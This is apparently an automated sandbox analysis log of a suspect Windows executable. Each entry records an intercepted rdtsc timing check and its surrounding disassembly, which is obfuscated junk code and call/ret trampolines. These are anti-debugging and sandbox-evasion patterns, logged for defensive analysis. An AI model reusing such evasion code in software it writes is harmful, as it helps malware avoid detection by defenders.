Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFEE52 second address: BFEEDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0F34BEC151h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 sbb esi, 15047600h 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push esi 0x0000001b call 00007F0F34BEC148h 0x00000020 pop esi 0x00000021 mov dword ptr [esp+04h], esi 0x00000025 add dword ptr [esp+04h], 00000018h 0x0000002d inc esi 0x0000002e push esi 0x0000002f ret 0x00000030 pop esi 0x00000031 ret 0x00000032 pushad 0x00000033 mov eax, ebx 0x00000035 pushad 0x00000036 mov dh, bh 0x00000038 or cl, FFFFFFFAh 0x0000003b popad 0x0000003c popad 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push ebx 0x00000042 call 00007F0F34BEC148h 0x00000047 pop ebx 0x00000048 mov dword ptr [esp+04h], ebx 0x0000004c add dword ptr [esp+04h], 0000001Ah 0x00000054 inc ebx 0x00000055 push ebx 0x00000056 ret 0x00000057 pop ebx 0x00000058 ret 0x00000059 mov dword ptr [ebp+122D22A9h], ecx 0x0000005f xchg eax, ebx 0x00000060 js 00007F0F34BEC154h 0x00000066 pushad 0x00000067 je 00007F0F34BEC146h 0x0000006d push eax 0x0000006e push edx 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0029D second address: C002A7 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0F345319E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C00CEB second address: C00D16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F0F34BEC154h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e js 00007F0F34BEC158h 0x00000014 push eax 0x00000015 push edx 0x00000016 je 00007F0F34BEC146h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C00D16 second address: C00D76 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0F345319E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b jp 00007F0F345319EEh 0x00000011 pushad 0x00000012 or dword ptr [ebp+122D1F4Eh], edi 0x00000018 sbb ch, 00000007h 0x0000001b popad 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push ecx 0x00000021 call 00007F0F345319E8h 0x00000026 pop ecx 0x00000027 mov dword ptr [esp+04h], ecx 0x0000002b add dword ptr [esp+04h], 00000014h 0x00000033 inc ecx 0x00000034 push ecx 0x00000035 ret 0x00000036 pop ecx 0x00000037 ret 0x00000038 push esi 0x00000039 sbb si, 1841h 0x0000003e pop edi 0x0000003f push 00000000h 0x00000041 mov dword ptr [ebp+1247974Eh], edi 0x00000047 xchg eax, ebx 0x00000048 pushad 0x00000049 pushad 0x0000004a push esi 0x0000004b pop esi 0x0000004c jnc 00007F0F345319E6h 0x00000052 popad 0x00000053 pushad 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C04295 second address: C04299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C04299 second address: C042AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F0F345319EBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C042AD second address: C042B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB042F second address: BB043F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F345319EAh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB043F second address: BB044F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F0F34BEC146h 0x0000000a ja 00007F0F34BEC146h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB044F second address: BB0453 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB0453 second address: BB0472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007F0F34BEC146h 0x00000010 jmp 00007F0F34BEC14Fh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB0472 second address: BB0476 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0765D second address: C0769C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a mov bx, F5EDh 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007F0F34BEC148h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 0000001Dh 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a push 00000000h 0x0000002c mov bl, 71h 0x0000002e xchg eax, esi 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C06770 second address: C0677F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F345319EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C08772 second address: C08776 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C08776 second address: C0877A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0877A second address: C087D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007F0F34BEC148h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 jns 00007F0F34BEC148h 0x00000028 mov ebx, dword ptr [ebp+122D3C58h] 0x0000002e push 00000000h 0x00000030 clc 0x00000031 push 00000000h 0x00000033 mov bh, 5Ch 0x00000035 mov di, ax 0x00000038 xchg eax, esi 0x00000039 jmp 00007F0F34BEC14Fh 0x0000003e push eax 0x0000003f jo 00007F0F34BEC14Eh 0x00000045 push ebx 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0971B second address: C0971F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0971F second address: C09729 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0F34BEC146h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0A75C second address: C0A7D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007F0F345319E8h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 0000001Ch 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 push 00000000h 0x00000024 push edx 0x00000025 sub ebx, dword ptr [ebp+122D2414h] 0x0000002b pop edi 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push eax 0x00000031 call 00007F0F345319E8h 0x00000036 pop eax 0x00000037 mov dword ptr [esp+04h], eax 0x0000003b add dword ptr [esp+04h], 0000001Ch 0x00000043 inc eax 0x00000044 push eax 0x00000045 ret 0x00000046 pop eax 0x00000047 ret 0x00000048 xchg eax, esi 0x00000049 js 00007F0F345319F0h 0x0000004f jmp 00007F0F345319EAh 0x00000054 push eax 0x00000055 jc 00007F0F345319F2h 0x0000005b jp 00007F0F345319ECh 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0C763 second address: C0C7EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F34BEC150h 0x00000009 popad 0x0000000a pop esi 0x0000000b push eax 0x0000000c js 00007F0F34BEC154h 0x00000012 pushad 0x00000013 jp 00007F0F34BEC146h 0x00000019 jo 00007F0F34BEC146h 0x0000001f popad 0x00000020 nop 0x00000021 push 00000000h 0x00000023 push ecx 0x00000024 call 00007F0F34BEC148h 0x00000029 pop ecx 0x0000002a mov dword ptr [esp+04h], ecx 0x0000002e add dword ptr [esp+04h], 00000017h 0x00000036 inc ecx 0x00000037 push ecx 0x00000038 ret 0x00000039 pop ecx 0x0000003a ret 0x0000003b adc edi, 0EC0C071h 0x00000041 push 00000000h 0x00000043 push 00000000h 0x00000045 push esi 0x00000046 call 00007F0F34BEC148h 0x0000004b pop esi 0x0000004c mov dword ptr [esp+04h], esi 0x00000050 add dword ptr [esp+04h], 00000019h 0x00000058 inc esi 0x00000059 push esi 0x0000005a ret 0x0000005b pop esi 0x0000005c ret 0x0000005d mov ebx, dword ptr [ebp+122D3CE0h] 0x00000063 push 00000000h 0x00000065 mov dword ptr [ebp+122D1F99h], esi 0x0000006b xchg eax, esi 0x0000006c js 00007F0F34BEC14Eh 0x00000072 push edi 0x00000073 push eax 0x00000074 push edx 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0B8D9 second address: C0B8DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0C7EF second address: C0C7FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0B8DE second address: C0B8E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0C7FB second address: C0C7FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0B8E3 second address: C0B904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b jmp 00007F0F345319F5h 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0C7FF second address: C0C80D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F34BEC14Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0D850 second address: C0D854 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0CA5C second address: C0CA92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F34BEC158h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0F34BEC155h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0D854 second address: C0D85A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0CA92 second address: C0CA96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0CA96 second address: C0CA9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C137FF second address: C13867 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0F34BEC150h 0x0000000b pushad 0x0000000c jmp 00007F0F34BEC14Eh 0x00000011 jmp 00007F0F34BEC158h 0x00000016 js 00007F0F34BEC146h 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f popad 0x00000020 pushad 0x00000021 jmp 00007F0F34BEC158h 0x00000026 push eax 0x00000027 push edx 0x00000028 jl 00007F0F34BEC146h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB3984 second address: BB398A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C13E2A second address: C13E30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0E9E3 second address: C0E9EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C13E30 second address: C13E75 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0F34BEC146h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F0F34BEC148h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000015h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 movzx edi, dx 0x0000002c push 00000000h 0x0000002e sub ebx, dword ptr [ebp+122D3C40h] 0x00000034 push 00000000h 0x00000036 mov dword ptr [ebp+122D1E3Dh], esi 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C13E75 second address: C13E7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C13E7C second address: C13E91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F34BEC151h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0DA78 second address: C0DA7E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C11A66 second address: C11A6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C14DA3 second address: C14DDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jng 00007F0F345319E6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 jmp 00007F0F345319F8h 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F0F345319F1h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C140BA second address: C140CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F34BEC14Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C140CF second address: C140D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C15E27 second address: C15E2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C15E2D second address: C15E8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 add edi, dword ptr [ebp+1244C22Dh] 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007F0F345319E8h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 00000017h 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b sub bh, FFFFFF97h 0x0000002e push 00000000h 0x00000030 mov dword ptr [ebp+12458D61h], esi 0x00000036 xchg eax, esi 0x00000037 jnp 00007F0F345319F9h 0x0000003d push eax 0x0000003e jp 00007F0F345319EEh 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C16013 second address: C16017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2A1B5 second address: C2A1CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jnc 00007F0F345319E6h 0x0000000c jmp 00007F0F345319EDh 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2A1CF second address: C2A1D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2A1D5 second address: C2A1DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2A1DB second address: C2A1DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2A1DF second address: C2A1E9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0F345319E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C29506 second address: C2950C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2950C second address: C29512 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C29512 second address: C29518 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C29518 second address: C2951C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2951C second address: C29530 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0F34BEC146h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F0F34BEC146h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C29530 second address: C29536 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C29800 second address: C2980F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F34BEC14Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2980F second address: C2981D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F345319EAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C299B2 second address: C299CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F34BEC155h 0x00000009 popad 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C299CF second address: C299D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C299D9 second address: C299E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2F82E second address: C2F834 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2F834 second address: C2F84D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pushad 0x00000006 popad 0x00000007 jp 00007F0F34BEC146h 0x0000000d pop edi 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jo 00007F0F34BEC146h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2F84D second address: C2F851 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2F851 second address: C2F861 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F0F34BEC146h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2F861 second address: C2F865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2F865 second address: C2F86F instructions: 0x00000000 rdtsc 0x00000002 js 00007F0F34BEC146h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2F86F second address: C2F87B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F0F345319E6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2F87B second address: C2F87F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2EB46 second address: C2EB4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2F0CD second address: C2F0D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2F0D1 second address: C2F0D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2F227 second address: C2F234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF92EC second address: BF92F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF982B second address: BF982F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF982F second address: BF9833 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF9833 second address: BF9841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F0F34BEC146h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF9841 second address: BF9845 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF9927 second address: BF9952 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jo 00007F0F34BEC146h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e add dword ptr [esp], 5C458550h 0x00000015 cmc 0x00000016 push 9B17C2AEh 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e jns 00007F0F34BEC146h 0x00000024 jnl 00007F0F34BEC146h 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF9ABD second address: BF9AC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
